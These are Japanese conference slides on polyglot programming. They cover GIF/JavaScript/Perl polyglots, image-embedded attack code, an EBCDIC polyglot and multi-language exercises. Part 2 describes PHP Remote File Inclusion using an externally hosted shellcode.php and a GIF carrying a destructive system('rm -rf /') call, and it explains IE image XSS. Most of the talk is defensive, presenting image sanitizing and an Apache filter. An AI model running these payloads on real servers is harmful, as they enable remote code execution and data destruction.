Polyglot プログラミング サイボウズ ラボ 株 式 会 社 TAKESAKO <takesako@shibuya.pl>
Polyglotプログラミング 講 演 概 要 Polyglotとは 複 数 の 語 処 理 系 で 実 できる つのプログ ラムのことです 例 えば print"hello ",0?"Ruby":"Perl","! n" の1 プ ログラムはPerlとRubyでそれぞれ 異 なる 出 結 果 を 返 し ます これは 各 語 における 真 偽 値 の 扱 い の 違 いを 利 しています C/C++ Perl Ruby Python PHP JavaScript Shell BAT x86など... 世 の 中 にはたくさんのプログラ ミング 語 が 存 在 します 学 のうちにどんなプログラ ミング 語 を 勉 強 すれば 将 来 に 役 つのか いくつかの Polyglotを 読 み 解 きながらセキュリティ Web 業 界 への 応 を 考 察 します
紹 介 迫 良 範 id:takesako 0x20 歳 広 島 県 出 所 属 Cybozu Labs, Inc. セキュリティ&プログラミングキャンプ2009 講 師 第 30 回 U-20プログラミングコンテスト 審 査 委 員 Microsoft MVP award 2008 - Developer Security Shibuya Perl Mongers 2 代 リーダー オライリー Perlクックブック 第 2 版 監 訳 など 松 浦 先 生 のご 紹 介 ( 情 報 科 学 若 手 の 会 でもお 世 話 になりました)
第 1 部
Polyglot プログラミング
LEVEL 1 for beginners
JavaScript.GIF It can works on IE/Firefox/Opera. Valid ʻGIF89aʼ file <img src= alert0.gif /> Valid ʻJavaScriptʼ file <script src= alert0.gif language= JavaScript >
JavaScript x GIF
<script src="nipodan24.gif" language="javascript"> </scirpt><img src="nipodan24.gif" />
LEVEL 2 easy hacks
GIF89a Polyglot HTML/CSS & JavaScript & Perl in GIF
Polyglot = Chimera? Human.Dog
JavaScript in GIF GIF89a(q/*.../);sub GIF89a{print "Hello Perl!"} END #*/=1);function GIF89a(){alert("Hello JavaScrpt!")} /*<body style=visibility:hidden> <div style=position:relative;visibility:visible> <h1>hello HTML!</h1><!............ ><img src=?> <script src=# language=javascript></script></div> */// ;
HTML/CSS in GIF GIF89a(q/*.../);sub GIF89a{print "Hello Perl!"} END #*/=1);function GIF89a(){alert("Hello JavaScrpt!")} /*<body style=visibility:hidden> <div style=position:relative;visibility:visible> <h1>hello HTML!</h1><!............ ><img src=?> <script src=# language=javascript></script></div> */// ;
Perl in GIF GIF89a(q/*.../);sub GIF89a{print "Hello Perl!"} END #*/=1);function GIF89a(){alert("Hello JavaScrpt!")} /*<body style=visibility:hidden> <div style=position:relative;visibility:visible> <h1>hello HTML!</h1><!............ ><img src=?> <script src=# language=javascript></script></div> */// ;
Console demo
LEVEL 3 normal hacks
HTML Conditional comments 2.0 IE <!--[if IE]>'IE'<![endif]--> Firefox <!-- --*>'Firefox'<!-- --> Safari <!-- ---!---!>'Safari'<!- --> Not IE <![if!ie]>this is not IE!<![endif]> <![if!ie]><!-->'konqueror'<!--><![endif]>
LEVEL 4 all.your.browser.are.belong.to.us
HTML Browser Detection
HTML Quiz Q1. What will you see? (on your browser) <img src= 1.gif src= 2.gif > Answers. (1) 1.gif (2) 2.gif (3) N/A
Q2. Whatʼs this? <img /src src{ x00} src{ x0c} src /> = 1.gif = 2.gif = 3.gif = 4.gif Answers. (1) 1.gif (2) 2.gif (3) 3.gif (4) 4.gif ie Safari firefox others
print<<eof; <img /src x00="ie.gif" /''src x00="firefox1_5.gif" /''src="firefox2_0.gif" /""src="gecko_others.gif" "s x00rc="safari2.gif" "src="safari3.gif" ""src="konqueror.gif" src x00="w3m.gif" src x0c="opera.gif" src="others.gif" src="lynx.gif" /> EOF
http://wafful.org
It can detect Konqueror, Safari2!
No JavaScript & No CSS hacks
lynx
w3m
Mozilla/5.0 (PLAYSTATION 3; 1.00) others.gif
第 1 部 完
第 2 部
第 2 部 イメージファイト! ImageFight 画 像 に 埋 め 込 まれたPHP XSS 攻 撃 コードと 戦 う5つの 方 法 画 像 はイメージです http://wafful.org/
イメージファイトとは? 背 景 PHPの 攻 撃 コードが 隠 された 画 像 ファイルが ホスティングサイトで 発 された GIF,PNG,JPEG,BMP 形 式 の 画 像 ファイルには PHPのRFI 攻 撃 で 使 されるコードやJavaScript のプログラムなどを 埋 め 込 むことができます 画 像 に 埋 め 込 まれた 攻 撃 コードと 戦 う5つの 法 について 解 説 し 安 全 な 画 像 アップローダの 実 装 について 考 察 します
Q. Webアプリの 脆 弱 性 を 作 らない 秘 訣 とは?
A. IPAさんの 回 答
なぜCVEでPHPアプリの 脆 弱 性 が 多 いのか? php.ini の 設 定 に 依 存 アプリケーションの 脆 弱 性? サーバ 管 理 者 の 設 定 の 問 題? そもそもPHPが(ry 最 近 の 事 情 register_globals=onよくないよね という 認 識 が 普 及 最 近 のPHPアプリはregister_globals=off 前 提 で 書 かれているため on の 環 境 を 考 慮 していない わざわざregister_globals=onに 設 定 してアプリ の 脆 弱 性 を 探 して 報 告 している( CVEに 露 出 )
PHP の register_globals 問 題 http://www.example.com/example.php?a=1&b=2 php.iniの 設 定 register_globals=off の 場 合 $HTTP_GET_VARS['a'] = $_GET['a'] = 1; $HTTP_GET_VARS['b'] = $_GET['b'] = 2; register_globals=on の 場 合 さらに $a = 1; $b = 2; 初 期 化 していない 変 数 の 値 が 攻 撃 者 の 手 によって 書 き 換 えられる
resiter_globals 対 策 コード( 例 ) php.ini の 設 定 をその 都 度 確 認 if (ini_get('resiger_globals')) { // trigger_error( you must register_globals=off, E_UESR_ERROR); exit; }
構 成 (1) PHPを 避 ける (2) 画 像 攻 撃 (3) 対 策 イメージファイト
PHP の fopen 関 数 リモートファイルを 簡 単 に 読 み 込 める <?php $handle = fopen("file.txt", "r"); $handle = fopen("/home/rasmus/file.gif", "wb"); $handle = fopen("http://www.example.com/", "r"); $handle = fopen("ftp://user:pass@example.com/x.txt", "w");?> php.ini の 設 定 allow_url_fopen = on ファイルのようにURLオブジェクトをアクセスできるようになる
PHP の include 関 数 同 様 に include 関 数 でも http://と 指 定 でき る <?php include "en/file.php"; include "http://www.example.com/en/file.php"; require "ja/file.php"; require "http://www.example.com/ja/file.php";?> php.ini の 設 定 allow_url_fopen = on allow_url_include = on (PHP5.2.0 以 降 )
PHP 特 有 の 脆 弱 性 とは? ディレクトリ 名 を 変 数 にしている 場 合 <?php include "en/message.php"; include "ja/message.php"; include "$LANG/message.php";?> もしも 攻 撃 者 が 変 数 を 上 書 きできたら $LANG = "http://www.example.com/lib/"; 外 部 サイト( 攻 撃 者 の 管 理 下 )にある PHPのコードがダウンロード 実 行 される
Remote File Inclusion Attack
Remote File Inclusion 脆 弱 性 の 脅 威 任 意 のシェルコードが 実 可 能 http://www.example.com/lib/shellcode.php <?php phpinfo(); system("rm rf /", $retval);?> 攻 撃 者 の 用 意 したPHPプログラム
そもそもPHPはHTML 埋 め 込 み 語 Include( shellcode.inc ); <html> しかし PHP 処 理 系 にとっては : HTMLであるかどうかは 見 ていない : <?php phpinfo(); system("rm rf /", $retval);?> : :
<?php?> 以 外 にはバイナリを 組 み 込 める Include( shellcode.gif ); GIF89a : バイナリ 画 像 データ : バイナリ 画 像 データ <?php phpinfo(); system("rm rf /", $retval);?> : :
phpinfo.gif (PHPのコードを 含 んだGIF 画 像 ファイル)
デモ include.php <h1>php/gif include demo</h1> <?php include("./phpinfo.gif");?> GIFファイルをPHPとして 実 行
実 行 結 果
PHPを 避 けていれば 本 当 に 大 丈 夫 なのか? (; Д`)
(2) 画 像 攻 撃
こんな 経 験 ありませんか? Internet Explorer で 画 像 を 直 接 開 こうとし たとき BMP 形 式 の ファイルが 文 字 化 け
(1) IE 特 有 の XSS 問 題 画 像 ファイル 中 のスクリプトが 実 される ファイルの 先 頭 256 byte の 内 容 を て HTMLのタグっぽいものが 含 まれていると Content-Typeや 拡 張 を 無 視 して HTMLとして 解 釈 して 表 される 結 果 画 像 に 埋 め 込 まれたスクリプトが 実 され る 問 題 の 発 しやすいファイル テキストファイル(Content-Type: plain/text) 画 像 ファイル(PNG 形 式 BMP 形 式 ) GIF 形 式 JPEG 形 式 は 特 定 の 条 件 を 満 たす 必 要 アリ
(IE Bitmap XSS)
IEでの 実 行 結 果
Internet Explorer のセキュリティ 設 定 ただしデフォルトが 有 効 にする のまま
IEを 避 けていれば 本 当 に 大 丈 夫 なのか?
(2) valid JS/GIF attacks 正 しいGIF 画 像 でもあるJavaScriptファイル JavaScriptとして 解 釈 されるGIF 画 像 ファイル IE/Firefox/Operaでも 動 作 <script src= alert0.gif language= JavaScript >
じゃ どうすればいいの? (つД`)
(3) 対 策 イメージファイト
画 像 ファイルのサニタイズ 法 5つの 方 法 1. すべてJPEG 形 式 で 圧 縮 (ダウングレード) 2. 画 像 のコメント 領 域 を 削 除 する 3. 再 エンコード(GIF,PNG 形 式 の 場 合 ) 4. サニタイGIF(sanitigif) 新 提 案 5. イメージファイト(mod_imagefight) 手 法 画 像 に 埋 め 込 まれた 攻 撃 コードを 頑 張 って 取 り 除 きたい
1. すべてJPEG 形 式 で 圧 縮 アップロードされた 画 像 GIF,PNG,JPEG,BMP 形 式 サーバに 保 存 するとき すべてJPEG 形 式 で 圧 縮 して 保 存 メリット( ) 画 像 ファイル 中 の 攻 撃 コードが 壊 れる 圧 縮 率 をランダムにしておくとなお 良 い デメリット( ) 画 質 が 落 ちる(JPEG 特 有 のモアレ)
2. 画 像 のコメント 領 域 を 削 除 する GIF,PNG,JPEG,BMP 形 式 それぞれの 画 像 中 のコメント 領 域 を 削 除 する メリット( ) 画 質 の 劣 化 がない コメント 領 域 に 書 かれた 攻 撃 コードは 削 除 される 圧 縮 処 理 が 必 要 ないので 処 理 が 軽 い デメリット( ) カラーパレットやビットマップ 領 域 に 書 かれた 攻 撃 コードはそのまま 残 ってしまう 完 全 な 対 策 とは えない(お 勧 めできない)
3. 再 エンコード(GIF,PNG 形 式 の 場 合 ) GIF,PNG 形 式 の 場 合 固 定 パレット( 規 定 の256 )で 再 エンコード メリット( ) 固 定 パレット 中 の 攻 撃 コードは 無 効 になる 画 像 データは 再 エンコードされる( 壊 れる) パレットをランダムにシャッフルするとなお 良 い デメリット( ) 固 定 パレットなので 画 質 が 落 ちる 場 合 がある 再 エンコード( 圧 縮 ) 処 理 を なうので 重 たい
4.サニタイGIF (sanitigif)
攻 撃 を 無 効 にする 魔 法 のコードを 挿 <?php die;?> <plaintext>
JPEGファイル 中 の 撮 影 情 報 が 残 せる CANON EOS Kiss Digital (S/N 560151117)
IE で 画 像 を 直 接 開 けない 問 題 PNG 形 式 /BMP 形 式 のファイルをどうする か?
サニタイピング(sanitipng)で 対 応
画 像 に 挿 するコード JPEG, PNG, JPEG, BMP 共 通 static const char antixss[] = "` "''*/-->-->]]></xmp> n n" "<img src=# style=position:absolute;top:15;left:10;visibility:visible>" "<style>body{font-size:0;visibility:hidden}</style>" "<plaintext style=display:none><?php die;?>";
4. サニタイGIF(sanitigif) 3のデメリットを 改 善 した 式 固 定 パレットなので 画 質 が 落 ちる 場 合 がある ( ) パレットはそのまま 引 き 継 ぐ( ) 再 エンコード( 圧 縮 ) 処 理 を なうので 重 たい ( ) 圧 縮 処 理 を 伴 わない 軽 量 な 法 ( ) 撮 影 情 報 (Exif)をサニタイズする 必 要 あり ( ) Exif 情 報 をそのまま 残 せる 式 ( ) (ほぼ)すべての 画 像 形 式 に 対 応
サニタイズ? サニタイズ? サニタイズ? サニタイズ?
mod_imagefight (イメージファイト)
5. イメージファイト internet 無 毒 化 攻 撃 コードが 含 まれている かもしれない 画 像 安 全 な 画 像 mod_imagefight Apache 2 出 力 フィルタ Webサーバ
mod_imagefight 使 法 httpd.conf( 例 ) LoadModule imagefight_module modules/mod_imagefight.so <Location /> AddOutputFilter ImageFight.png.bmp AddOutputFilter ImageFight.gif.jpg.jpeg AddOutputFilterByType ImageFight image/gif image/jpeg </Location> 拡 張 子 ではなく Content-Type による 指 定 も 可 能
(IE + Fiddler)
IE + Fidder 動 作 画 面 mod_imagefight をインストールしたWebサーバから PNG 画 像 を 読 み 込 んだとき( 動 的 に 画 像 を 書 き 換 え)
mod_imagefight でできること プログラミング 語 に 依 存 Apache2 の OutputFilter モジュールとして 実 装 PHP, Perl, Python, Ruby でも ok 動 的 ファイルもOK CGIで 動 的 に 出 される 画 像 ファイルもok 既 存 のプログラム 本 体 の 書 き 換 えずに 対 応 可 画 像 中 に 含 まれる 攻 撃 コードを 無 効 化 する IE 特 有 の XSS をサーバ 側 で 無 効 化 JavaScriptとして 解 釈 されることを 無 効 化 おまけ:PHPのRFI 攻 撃 を 無 効 化 するコードを 挿 現 時 点 ではコンセプト 実 装 の 段 階 試 作 版 のためプロダクション 環 境 では 使 しない
第 2 部 完
第 3 部
EBCDIC Polyglot 字 エンコーディング を 利 した Polyglot
cp037.html
Quiz. What will you see? JavaScript: alert(ʻhello ASCIIʼ); #?
EBCDIC cp037 (Latin-1 Code Page) It works on Internet Explorer! // x07 x07 x0a alert('hello EBCDIC'); /*
EBCDIC Whatʼs this? EBCDIC Extended Binary Coded Decimal Interchange Code a 8-bit character encoding (code page) used on IBM mainframe operating systems such as z/os, OS/390, VM and VSE, OS/400, i5/os... Support Browsers (;charset=cp037) Internet Explorer Safari Not support Google Chrome Firefox Opera
EBCDIC encoding control code ASCII EBCDIC (NUL) 0x00 0x00 ; (NUL) (EOT) 0x04 0x37 ; ( 7 ) (ENQ) 0x05 0x2D ; ( - ) (ACK) 0x06 0x2E ; (. ) (BEL) 0x07 0x2F ; ( / ) (BS ) 0x08 0x16 ; (SYN) (HT ) 0x09 0x05 ; (ENQ) (LF ) 0x0A 0x25 ; ( % ) (CR ) 0x0D 0x0D ; (CR )
EBCDIC encoding symbols ASCII EBCDIC (SPACE) 0x20 0x40 ; ( @ ) (! ) 0x21 0x5A ; ( Z ) ( " ) 0x22 0x7F ; (DEL) ( # ) 0x23 0x7B ; ( { ) ( $ ) 0x24 0x5B ; ( [ ) ( % ) 0x25 0x6C ; ( l ) ( & ) 0x26 0x50 ; ( P ) ( ' ) 0x27 0x7D ; ( } ) ( ( ) 0x28 0x4D ; ( M ) ( ) ) 0x29 0x5D ; ( ] )
EBCDIC encoding digits ASCII EBCDIC ( 0 ) 0x30 0xF0 ; ( ð ) ( 1 ) 0x31 0xF1 ; ( ñ ) ( 2 ) 0x32 0xF2 ; ( ò ) ( 3 ) 0x33 0xF3 ; ( ó ) ( 4 ) 0x34 0xF4 ; ( ô ) ( 5 ) 0x35 0xF5 ; ( õ ) ( 6 ) 0x36 0xF6 ; ( ö ) ( 7 ) 0x37 0xF7 ; ( ) ( 8 ) 0x38 0xF8 ; ( ø ) ( 9 ) 0x39 0xF9 ; ( ù )
EBCDIC encoding alphabet ASCII EBCDIC ( @ ) 0x40 0x7C ; ( ) ( A ) 0x41 0xC1 ; ( Á ) ( B ) 0x42 0xC2 ; ( Â ) ( C ) 0x43 0xC3 ; ( Ã ) : : ( ` ) 0x60 0x79 ; ( y ) ( a ) 0x61 0x81 ; ( ) ( b ) 0x62 0x82 ; ( ) ( c ) 0x63 0x83 ; ( ƒ )
EBCDIC Binary hacks (JavaScript & ELF) ASCII EBCDIC ( " ) 0x22 0x7F ; (DEL) ( á ) 0xE1 0x45 ; ( E ) ( < ) 0x3C 0x4C ; ( L ) ( ã ) 0xE3 0x46 ; ( F ) : : ( " ) 0x22 0x7F ; (DEL) ( ; ) 0x3B 0x5E ; ( ^ ) ( / ) 0x2F 0x61 ; ( a ) ( * ) 0x2A 0x5C ; ( ) (valid JavaScript) ;/* x86 ELF Binary
0x457.html
0x457.html Itʼs universal binary. (1) Mac OS X Safari 3 (2) Windows IE7 (3) Linux x86 ELF Binary (4) other OS VT100 Obfuscated Polyglot Golf Only 457 byte
(1) Safari 3 - Mac OS X
(2) IE 7 - Windows
(3) Linux x86 ELF
(4) VT100 for other OS
0x457.html ASCII view ELF ^a LZ``<!-- 1ÛÍ. ¹ GCWÍ ëó --><meta http-equiv=content-type content='text/html;charset=cp037'/> <h1>it works on Safari3, IE7</h1>``nLˆñnÈ @ ZLaˆñnL @ ~ÄnL ƒ @ ƒ~{@ƒˆ ~ƒ ðó nla ƒ nlz`` a ~òð^ ~õ^ ~ð^ É M} ~ ^ ~ Ô ˆK M ]^ ~ nðo ð z ñ ^ M ~ñ^ L N^ NN]À M ~ñ^ L N^ N~ðKõ]À N~M ` ] M `]NM `] M `]L o z @ ^Ð N~ L n Ð N~ðKñ^ÄK ÈãÔÓ~ }kòð] aa[2j [5m/. Happy Binary! /. [0m
0x457.html EBCDIC view "á<ă";/*<!-- űňř žý ýĺ äýďňřlôl _ÁČ/ÇČČřÁÉÍŃÎä?>ČÁ>Čč`řÁÄ?>Č Á>ČČÁĚČ ÇČ_% ÄÇ/ĘËÁČ Äř ÇńČĎ?Ę,Ë?>ë/Ă/ĘŃńá Ç --><h1>happy Binary!</h1><pre id=d> <script src=# charset=cp037></script> <!--*/ a=20;r=5;t=0;setinterval('s="";r=a*math.sin(t );z=r>0?"0":"1";for(y=1;y<a+a;y++){for(x=1;x< a+a;x+=0.5){s+=(x-a)*(x-a)+(y-a)*(y-a)<r*r?z: " ";}s+="<br>"}t+=0.1;d.innerhtml=s',20)
NASM is my HTML Editor.
第 3 部 完
Polyglot プログラミング 平 成 21 年 6/28( ) 演 習 問 題 配 布 資 料
練 習 問 題
(1) 真 偽 値 の 違 い $ vi 1.p print 0? "Ruby" : "Perl" ; $ perl 1.p Perl $ ruby 1.p Ruby
Ruby 1.8 1.9 の 仕 様 変 更 $ vi 1.r print"hello ",0???==63?"Ruby1.8":"Ruby1.9":"Perl","! n";?a で ASCIIコードの 数 値 を 返 す 仕 様 が 1.9 から 字 列 ʼaʼを 返 すようになった $ ruby1.8 1.r Hello Ruby1.8! $ ruby1.9 1.r Hello Ruby1.9!
(2) デクリメント 演 算 の 有 無 $ vi 2.p $x=1; $x; print $x==1? "Ruby" : "Perl"; $ perl 2.p Perl $ ruby 2.p Ruby
練 習 問 題
(3) 字 列 リテラル $ vi 3.p q='''=; print"perl"#';print"ruby"#''';print"python"; $ perl 3.p Perl $ ruby 3.p Ruby $ python 3.p Python
練 習 問 題
(4) C/C++ における sizeof(char) の 違 い $ vi a.cpp #include <stdio.h> int main() { printf("%s", sizeof('c')==1?"c++":"c"); } $ gcc xc a.cpp &&./a.out C $ g++ a.cpp &&./a.out C++
(5) C89/C99 の 違 い $ vi a.c #include <stdio.h> enum{a=0,b=1}; int main() { if(sizeof(enum{b=0,a=1})); printf("c%d n",a?89:99); } $ gcc xc std=iso9899:1990 a.c &&./a.out C89 $ gcc xc std=gnu99 a.c &&./a.out C99
応 用 問 題
(6) 5 語 Polyglot $ vi a.cpp #include/* q="""*/<stdio.h> int main() {putchar('c'); if(sizeof('c') 1); else {putchar('+'); putchar('+');}} /*=; print'perl'#";print'ruby'#""";print'python'#*/ $ perl a.cpp Perl $ ruby a.cpp Ruby $ python a.cpp Python $ gcc xc a.cpp &&./a.out C $ g++ a.cpp &&./a.out C++
(7) 課 題 $ vi a.c #include/* q="""*/<stdio.h> enum{q,p};int main(){if(sizeof(enum{p,q})); printf((char[]){67,37,100,13,10},q?89:99);}/*=; print'perl'#";print'ruby'#""";print'python'#*/ $ gcc xc std=iso9899:1990 a.c &&./a.out C89 $ gcc xc std=gnu99 a.c &&./a.out C99 このプログラムを C++ でコンパイルするとどうなるか? 実 際 に 試 してみて 結 果 を 考 察 せよ
(8) 宿 題 6つの 語 で 実 可 能 なPolyglotを 作 成 せよ 今 までのプログラムに1 語 追 加 しても 良 い ヒント Brainf*ck, Whitespace Haskell (--がコメント) C89/C90/C++ Ruby1.8/Ruby1.9 Perl4/Perl5/Perl6
模 範 解 答 ( 例 ) #define v [ #include <stdio.h>/* # # Perl / Ruby / Python / C++ / Brainfuck / Befunge Polyglot by shinichiro.h # # ]+++++5++++[>++++>>+++>>+>>+[+<+<+++<+++<++<++< [>>]<<]> ] # >>.>++5.>..+++.>>>.<.<<<<.>>+++.<.++++++++. # >.+ <.>>.<<.>.>>.<++..+++.<+.<+.>>>+. # [ ][ # >"!dlrow egnufeb,olleh">:#,_@ # s='''=*/ int main(){puts("hello, C++ world!");} /* =; print "Hello, Perl world! n"; <<s; ' puts "Hello, Ruby world!" <<s ''' print "Hello, Python world!" s s=''' ]'''#==#*/ http://shinh.skr.jp/dat_dir/poly_hello.txt
ご 清 聴 ありがとう ございました